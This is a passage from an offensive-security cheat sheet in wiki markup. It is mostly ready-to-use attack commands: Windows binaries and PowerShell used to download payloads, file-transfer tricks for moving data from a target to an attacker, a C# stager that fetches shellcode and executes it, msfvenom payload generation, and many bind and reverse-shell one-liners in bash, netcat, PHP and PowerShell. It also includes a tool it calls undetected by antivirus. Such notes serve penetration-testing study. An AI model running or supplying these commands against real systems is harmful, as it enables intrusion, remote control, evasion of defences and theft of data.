# Extrac32.exe&lt;br /&gt;
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt&lt;br /&gt;
# Findstr.exe&lt;br /&gt;
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe &amp;gt; c:\ADS\file.exe&lt;br /&gt;
# Ftp.exe&lt;br /&gt;
cmd.exe /c &amp;quot;@echo open attacker.com 21&amp;gt;ftp.txt&amp;amp;@echo USER attacker&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo PASS PaSsWoRd&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo binary&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo GET /payload.exe&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo quit&amp;gt;&amp;gt;ftp.txt&amp;amp;@ftp -s:ftp.txt -v&amp;quot;&lt;br /&gt;
# GfxDownloadWrapper.exe&lt;br /&gt;
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe &amp;quot;URL&amp;quot; &amp;quot;DESTINATION FILE&amp;quot;&lt;br /&gt;
# Hh.exe&lt;br /&gt;
HH.exe http://some.url/script.ps1&lt;br /&gt;
# Ieexec.exe&lt;br /&gt;
ieexec.exe http://x.x.x.x:8080/bypass.exe&lt;br /&gt;
# Makecab.exe&lt;br /&gt;
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab&lt;br /&gt;
# MpCmdRun.exe&lt;br /&gt;
MpCmdRun.exe -DownloadFile -url  -path  //Windows Defender executable&lt;br /&gt;
# Replace.exe&lt;br /&gt;
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A&lt;br /&gt;
# Excel.exe&lt;br /&gt;
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll&lt;br /&gt;
# Powerpnt.exe&lt;br /&gt;
Powerpnt.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Squirrel.exe&lt;br /&gt;
squirrel.exe --download [url to package]&lt;br /&gt;
# Update.exe&lt;br /&gt;
Update.exe --download [url to package]&lt;br /&gt;
# Winword.exe&lt;br /&gt;
winword.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Wsl.exe&lt;br /&gt;
wsl.exe --exec bash -c &#039;cat  binary&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# POWERSHELL&lt;br /&gt;
# System.Net.WebClient&lt;br /&gt;
(New-Object Net.WebClient).DownloadFile(&amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot;,&amp;quot;C:\Windows\Temp\taskkill.exe&amp;quot;)&lt;br /&gt;
# Invoke-WebRequest&lt;br /&gt;
Invoke-WebRequest &amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot; -OutFile &amp;quot;taskkill.exe&amp;quot;&lt;br /&gt;
# Wget&lt;br /&gt;
wget &amp;quot;http://10.10.14.2/nc.bat.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\unifivideo\taskkill.exe&amp;quot;&lt;br /&gt;
# BitsTransfer&lt;br /&gt;
Import-Module BitsTransfer&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output&lt;br /&gt;
# OR&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output -Asynchronous&lt;br /&gt;
# Base64 Kali &amp;amp; EncodedCommand&lt;br /&gt;
kali&amp;gt; echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/9002.ps1&#039;)&amp;quot; | iconv --to-code UTF-16LE | base64 -w0&lt;br /&gt;
PS&amp;gt; powershell -EncodedCommand&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Certutil ===&lt;br /&gt;
&lt;br /&gt;
Easiest way to transfer to Windows&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://ip-addr:port/file&amp;quot; [output-file]&lt;br /&gt;
# Example - This will upload a shell to temp, and run execute it using cmd.exe&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.49.233/shell.exe&amp;quot; C:\windows\temp\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMD ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== tfpt ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69&lt;br /&gt;
kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt install atftp&lt;br /&gt;
kali@kali:~$ sudo mkdir /tftp&lt;br /&gt;
kali@kali:~$ sudo chown nobody: /tftp&lt;br /&gt;
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp&lt;br /&gt;
# On target&lt;br /&gt;
tftp -i 10.11.0.4 put important.docx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Encrypted python3 http.server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create self signed cert&lt;br /&gt;
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 -c &amp;quot;import http.server, ssl;server_address=(&#039;0.0.0.0&#039;,443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile=&#039;localhost.pem&#039;,ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Evil-winrm ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file&lt;br /&gt;
upload shell.exe&lt;br /&gt;
# Download file&lt;br /&gt;
Download target.file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
Must have nc.exe binary on the target machine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacking machine command&lt;br /&gt;
nc -lvnp 4444 &amp;gt; FiletoDownload&lt;br /&gt;
## Victim machine command&lt;br /&gt;
nc.exe 10.10.10.100 4444 -w 3 &amp;lt; Filetodownload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Rejetto HFS - HTTP File Server (GUI based) ===&lt;br /&gt;
&lt;br /&gt;
Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.&lt;br /&gt;
&lt;br /&gt;
If you have RDP this tool works great.&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]&lt;br /&gt;
&lt;br /&gt;
=== Tiny Http Server - Rebex === &lt;br /&gt;
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.&lt;br /&gt;
&lt;br /&gt;
https://www.rebex.net/tiny-web-server/&lt;br /&gt;
&lt;br /&gt;
==== Transfer from attacker to target ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Drag and drop files you want to transfer. Change port by clicking on &#039;Port:&#039; or change IP by going to Menu and &#039;IP Adress&#039;.&lt;br /&gt;
&lt;br /&gt;
On target either open browser or wget, curl, etc&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://192.168.1.98:443/nmap.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Transfer from target to attacker ====&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Step-by-step&lt;br /&gt;
## First, define a real folder. To do this:&lt;br /&gt;
# Add a folder.&lt;br /&gt;
## Choose real folder.&lt;br /&gt;
## You should now see a RED folder in your virtual file system, inside HFS.&lt;br /&gt;
## Right click on this folder.&lt;br /&gt;
## Set Upload → upload for accounts → anyone&lt;br /&gt;
## Now anyone who has access to your HFS server can upload files to you.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Anyone can upload&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Click on on the folder &#039;Upload HFS&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Now anyone can upload files&lt;br /&gt;
&lt;br /&gt;
=== SCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From target to attacher&lt;br /&gt;
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .&lt;br /&gt;
# From attacker to target&lt;br /&gt;
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMBServer ===&lt;br /&gt;
&lt;br /&gt;
Create a smbserver with share name &amp;quot;share&amp;quot;, and location of folder to share&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbserver.py share /home/aghanim/Desktop/&lt;br /&gt;
## If target only supports smbserver2&lt;br /&gt;
smbserver.py share . -smb2support&lt;br /&gt;
## On target CMD&lt;br /&gt;
\\smbserver-ip\share\$FILE_NAME&lt;br /&gt;
## Copy file to target&lt;br /&gt;
copy \\smbserver-ip\share\$FILE_NAME .&lt;br /&gt;
## Copy file from target to attacker&lt;br /&gt;
copy FileToDownload \\smbserver-ip\share\FileToDownload&lt;br /&gt;
## SMBserver with username and password&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Must use single quote for URL. Worsk for Windows 7 &amp;amp; 2008 and above.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c (New-Object Net.WebClient).DownloadFile(&#039;http://ip-addr:port/file&#039;, &#039;output-file&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
sudo nc -lnvp 443 &amp;gt; receiving_powercat.ps1&lt;br /&gt;
# Target&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Python ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
python3 -m http.server 8080&lt;br /&gt;
python2 -m SimpleHTTPServer 8080&lt;br /&gt;
# Target&lt;br /&gt;
wget http://ip:port/file&lt;br /&gt;
curl http://ip:port/file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows upload using php and powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker, create a php upload script and host it on apache2 server&lt;br /&gt;
&lt;br /&gt;
# On target, upload files using this command.&lt;br /&gt;
powershell (New-Object System.Net.WebClient).UploadFile(&#039;http://10.11.0.4/upload.php&#039;, &#039;important.docx&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Shellcode and Staged payloads ==&lt;br /&gt;
&lt;br /&gt;
=== csharp stager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography.X509Certificates;&lt;br /&gt;
public class Program {&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
  private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
  public static void Main()&lt;br /&gt;
  {&lt;br /&gt;
    string url = &amp;quot;https://ATTACKER_IP/shellcode.bin&amp;quot;;&lt;br /&gt;
    Stager(url);&lt;br /&gt;
  }&lt;br /&gt;
  public static void Stager(string url)&lt;br /&gt;
  {&lt;br /&gt;
    WebClient wc = new WebClient();&lt;br /&gt;
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };&lt;br /&gt;
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;&lt;br /&gt;
    byte[] shellcode = wc.DownloadData(url);&lt;br /&gt;
    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);&lt;br /&gt;
    IntPtr threadHandle = IntPtr.Zero;&lt;br /&gt;
    UInt32 threadId = 0;&lt;br /&gt;
    IntPtr parameter = IntPtr.Zero;&lt;br /&gt;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);&lt;br /&gt;
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Msfvenom Staged payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
# -b &#039;\x00\x0a\x0d&#039;: Sets a list of characters to avoid in the generated shellcode. The characters &#039;\x00\x0a\x0d&#039; correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Bind shells ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -l -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Reverse shells ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
=== Reverse Shell Generator ===&lt;br /&gt;
&lt;br /&gt;
[https://www.revshells.com/ https://www.revshells.com/]&lt;br /&gt;
&lt;br /&gt;
=== hoaxshell ===&lt;br /&gt;
&lt;br /&gt;
Currently undetected by Microsoft and most AV (12.10.2022)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/t3l3machus/hoaxshell&lt;br /&gt;
──(root💀kali)-[/opt/hoaxshell]&lt;br /&gt;
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444                                                                                                                                              1 ⨯&lt;br /&gt;
    ┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬   ┬&lt;br /&gt;
    ├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤  │   │&lt;br /&gt;
    ┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘&lt;br /&gt;
                           by t3l3machus&lt;br /&gt;
[Info] Generating reverse shell payload...&lt;br /&gt;
powershell -e JABzAD0AJwAxADkAMgAuADEANg....&lt;br /&gt;
[Info] Type &amp;quot;help&amp;quot; to get a list of the available prompt commands.&lt;br /&gt;
[Info] Http Server started on port 4444.&lt;br /&gt;
[Important] Awaiting payload execution to initiate shell session...&lt;br /&gt;
[Shell] Payload execution verified!&lt;br /&gt;
[Shell] Stabilizing command prompt...&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; whoami&lt;br /&gt;
laptop-\alaag&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; systeminfo&lt;br /&gt;
Host Name:                 LAPTOP-&lt;br /&gt;
OS Name:                   Microsoft Windows 11 Home&lt;br /&gt;
OS Version:                10.0.22000 N/A Build 22000&lt;br /&gt;
OS Manufacturer:           Microsoft Corporation&lt;br /&gt;
OS Configuration:          Standalone Workstation&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ICMP Reverse Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/krabelize/icmpdoor&lt;br /&gt;
# https://cryptsus.com/blog/icmp-reverse-shell.html&lt;br /&gt;
## Python version usage (both Windows and Linux):&lt;br /&gt;
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)&lt;br /&gt;
## Binary Windows version usage version:&lt;br /&gt;
./icmp-cnc.exe -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.exe -d CNC-IP (Implant)&lt;br /&gt;
## Binary Linux version usage version:&lt;br /&gt;
./icmp-cnc -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor -d CNC-IP (Implant)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH TCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
0/dev/tcp/10.0.0.1/4242; sh &amp;amp;196 2&amp;gt;&amp;amp;196&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/10.0.0.1/4242 0&amp;amp;1&lt;br /&gt;
## Don&#039;t forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH UDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Victim:&lt;br /&gt;
sh -i &amp;gt;&amp;amp; /dev/udp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
Listener:&lt;br /&gt;
nc -u -lvp 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ngrok - Catcha reverse shell from the internet ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker (term1)&lt;br /&gt;
ngrok tcp 4444&lt;br /&gt;
# On attacker (term2)&lt;br /&gt;
nc -lvp 4444&lt;br /&gt;
# On target, use your reverse shell payload on the ngrok tunnel target&lt;br /&gt;
nc 0.tcp.ngrok.io  -e /bin/sh&lt;br /&gt;
-----&lt;br /&gt;
# Another method if there is a proxy and firewall.&lt;br /&gt;
# Setup free domain. (Custom domain is a paid feature)&lt;br /&gt;
https://dashboard.ngrok.com/cloud-edge/domains&lt;br /&gt;
ngrok http --domain=ngrok-provided-domain.ngrok-free.app&lt;br /&gt;
# On attacker&lt;br /&gt;
nc -lvnp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat Traditional ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -e /bin/sh 10.0.0.1 4242&lt;br /&gt;
nc -e /bin/bash 10.0.0.1 4242&lt;br /&gt;
nc -c bash 10.0.0.1 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat BusyBox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 4242 &amp;gt;/tmp/f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== nc.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc.exe -e cmd.exe attacker_ip attacker_port&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
php -r &#039;$sock=fsockopen(&amp;quot;10.10.14.17&amp;quot;,4444);$proc=proc_open(&amp;quot;/bin/sh -i&amp;quot;, array(0=&amp;gt;$sock, 1=&amp;gt;$sock, 2=&amp;gt;$sock),$pipes);&#039;&lt;br /&gt;
# Base64 encoded webshell&lt;br /&gt;
&amp;quot;&amp;quot;&lt;br /&gt;
&amp;quot;&amp;amp; /dev/tcp/192.168.49.129/80 0&amp;gt;&amp;amp;1&#039;); ?&amp;gt;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershells ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -nop -c &amp;quot;$client = New-Object System.Net.Sockets.TCPClient(&#039;10.0.0.1&#039;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;&amp;gt; &#039;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&amp;quot;10.0.0.1&amp;quot;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + &amp;quot;PS &amp;quot; + (pwd).Path + &amp;quot;&amp;gt; &amp;quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell IEX (New-Object Net.WebClient).DownloadString(&#039;https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell base64 encoded reverse shell payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge &amp;gt; encodedreverseshell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
